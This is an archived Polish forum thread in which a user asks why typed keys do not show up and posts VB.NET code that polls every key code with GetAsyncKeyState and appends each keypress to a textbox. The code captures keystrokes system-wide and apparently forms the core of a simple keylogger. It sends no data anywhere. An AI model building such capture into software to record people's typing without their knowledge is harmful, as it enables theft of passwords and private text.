Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Nie działają klawisze w programie


Rekomendowane odpowiedzi

Opublikowano

Witam, otóż mam problem, gdy pisze jakieś litery, cyfry, lub byle co to tego nie widać. Dam kod odpowiadający za to: 

 

 

 

        For i = 1 To 255
            key = 0
            key = GetAsyncKeyState(i)
            If key = 32767 Then
                Select Case i
                    'Case 1
                    'RichTextBox1.Text += "[LeftClick]"
                    ' Case 2
                    '  RichTextBox1.Text += "[RightClick]"
                    Case 32
                        RichTextBox1.Text += " "
                    Case 8
                        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
                        ''Case 9 
                        ''RichTextBox1.Text += "[Tab]"


                        'Case 11
                        'RichTextBox1.Text += "[Vertical Tab]"


                    Case 13
                        RichTextBox1.Text += vbNewLine
                    Case 112
                        RichTextBox1.Text += "[F1]"
                    Case 113
                        RichTextBox1.Text += "[F2]"
                    Case 114
                        RichTextBox1.Text += "[F3]"
                    Case 115
                        RichTextBox1.Text += "[F4]"
                    Case 116
                        RichTextBox1.Text += "[F5]"
                    Case 117
                        RichTextBox1.Text += "[F6]"
                    Case 118
                        RichTextBox1.Text += "[F7]"
                    Case 119
                        RichTextBox1.Text += "[F8]"
                    Case 120
                        RichTextBox1.Text += "[F9]"
                    Case 121
                        RichTextBox1.Text += "[F10]"
                    Case 122
                        RichTextBox1.Text += "[F11]"
                    Case 123
                        RichTextBox1.Text += "[F12]"


                        'Case 160
                        'RichTextBox1.Text += "[Left Shift]"
                        'Case 161
                        'RichTextBox1.Text += "[Right Shift]"


                        'Case 164
                        'RichTextBox1.Text += "[Alt]"
                        ' Case 165
                        ' RichTextBox1.Text += "[Alt Gr]"


                        'Case 14
                        'RichTextBox1.Text += "[Shift Out]"
                        'Case 15
                        'RichTextBox1.Text += "[Shift In]"
                        'Case 16
                        'RichTextBox1.Text += "[Shift]"
                        'Case 17
                        'RichTextBox1.Text += "[Device Contol1]"
                        'Case 18
                        'RichTextBoc1.Text += "[Alt Device Control2]"
                        'Case 19
                        'RichTextBox1.Text += "[Device Control3]"
                        'Case 20
                        'RichTextBox1.Text += "[Caps lock]"
                        'Case 21
                        'RichTextBox1.Text += "[Negative Aknowledgement]"
                        'Case 22
                        ' RichTextBox1.Text += "[Synchronous Idle]"
                        'Case 23
                        ' RichTextBox1.Text  += "[End of Transmitblock]"
                        'Case 24
                        'RichTextBox1.Text += "[Canel]"
                        ''Case 25
                        'RichTextBlock1.Text += "[Substitute]"
                    Case 27
                        RichTextBox1.Text += "[Esc]"


                    Case 127
                        RichTextBox1.Text += "[Delete]"


                        'Case 161
                        'RichTextBox1.Text += "[Right Shift]"
                End Select
                If My.Computer.Keyboard.AltKeyDown Then
                    Select Case i
                        Case 48
                            RichTextBox1.Text += ")"
                        Case 49
                            RichTextBox1.Text += "|"
                        Case 50
                            RichTextBox1.Text += "&"
                        Case 51
                            RichTextBox1.Text += "#"
                        Case 54
                            RichTextBox1.Text += "^"
                        Case 57
                            RichTextBox1.Text += "{"
                    End Select
                ElseIf My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                    Select Case i
                        Case 48
                            RichTextBox1.Text += "@"
                        Case 49
                            RichTextBox1.Text += "1"
                        Case 50
                            RichTextBox1.Text += "2"
                        Case 51
                            RichTextBox1.Text += "3"
                        Case 52
                            RichTextBox1.Text += "4"
                        Case 53
                            RichTextBox1.Text += "5"
                        Case 54
                            RichTextBox1.Text += "6"
                        Case 55
                            RichTextBox1.Text += "7"
                        Case 56
                            RichTextBox1.Text += "8"
                        Case 57
                            RichTextBox1.Text += "9"




                        Case 65
                            RichTextBox1.Text += "A"
                        Case 66
                            RichTextBox1.Text += "B"
                        Case 67
                            RichTextBox1.Text += "C"
                        Case 68
                            RichTextBox1.Text += "D"
                        Case 69
                            RichTextBox1.Text += "E"
                        Case 70
                            RichTextBox1.Text += "F"
                        Case 71
                            RichTextBox1.Text += "G"
                        Case 72
                            RichTextBox1.Text += "H"
                        Case 73
                            RichTextBox1.Text += "I"
                        Case 74
                            RichTextBox1.Text += "J"
                        Case 75
                            RichTextBox1.Text += "K"
                        Case 76
                            RichTextBox1.Text += "Ł"
                        Case 77
                            RichTextBox1.Text += "M"
                        Case 78
                            RichTextBox1.Text += "N"
                        Case 79
                            RichTextBox1.Text += "O"
                        Case 80
                            RichTextBox1.Text += "P"
                        Case 81
                            RichTextBox1.Text += "Q"
                        Case 82
                            RichTextBox1.Text += "R"
                        Case 83
                            RichTextBox1.Text += "S"
                        Case 84
                            RichTextBox1.Text += "T"
                        Case 85
                            RichTextBox1.Text += "U"
                        Case 86
                            RichTextBox1.Text += "V"
                        Case 87
                            RichTextBox1.Text += "W"
                        Case 88
                            RichTextBox1.Text += "X"
                        Case 89
                            RichTextBox1.Text += "Y"
                        Case 90
                            RichTextBox1.Text += "Z"


                    End Select
                Else
                    Select Case i
                        Case 65
                            RichTextBox1.Text += "a"
                        Case 66
                            RichTextBox1.Text += "b"
                        Case 67
                            RichTextBox1.Text += "c"
                        Case 68
                            RichTextBox1.Text += "d"
                        Case 69
                            RichTextBox1.Text += "e"
                        Case 70
                            RichTextBox1.Text += "f"
                        Case 71
                            RichTextBox1.Text += "g"
                        Case 72
                            RichTextBox1.Text += "h"
                        Case 73
                            RichTextBox1.Text += "i"
                        Case 74
                            RichTextBox1.Text += "j"
                        Case 75
                            RichTextBox1.Text += "k"
                        Case 76
                            RichTextBox1.Text += "ł"
                        Case 77
                            RichTextBox1.Text += "m"
                        Case 78
                            RichTextBox1.Text += "n"
                        Case 79
                            RichTextBox1.Text += "o"
                        Case 80
                            RichTextBox1.Text += "p"
                        Case 81
                            RichTextBox1.Text += "q"
                        Case 82
                            RichTextBox1.Text += "r"
                        Case 83
                            RichTextBox1.Text += "s"
                        Case 84
                            RichTextBox1.Text += "t"
                        Case 85
                            RichTextBox1.Text += "u"
                        Case 86
                            RichTextBox1.Text += "v"
                        Case 87
                            RichTextBox1.Text += "w"
                        Case 88
                            RichTextBox1.Text += "x"
                        Case 89
                            RichTextBox1.Text += "y"
                        Case 90
                            RichTextBox1.Text += "z"


                        Case 48
                            RichTextBox1.Text += "ą"
                        Case 49
                            RichTextBox1.Text += "&"
                        Case 50
                            RichTextBox1.Text += "$"
                        Case 51
                            RichTextBox1.Text += """"
                        Case 52
                            RichTextBox1.Text += "'"
                        Case 53
                            RichTextBox1.Text += "("
                        Case 54
                            RichTextBox1.Text += "*"
                        Case 55
                            RichTextBox1.Text += "^"
                        Case 56
                            RichTextBox1.Text += "!"
                        Case 57
                            RichTextBox1.Text += "%"
                    End Select
                End If


            End If
        Next i
    End Sub

 
Mógłby ktoś powiedzieć co tu jest źle ? 

tumblr_me3px1cAsX1rll4sdo1_500.gif                                                             

 

                                                              

 

 

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...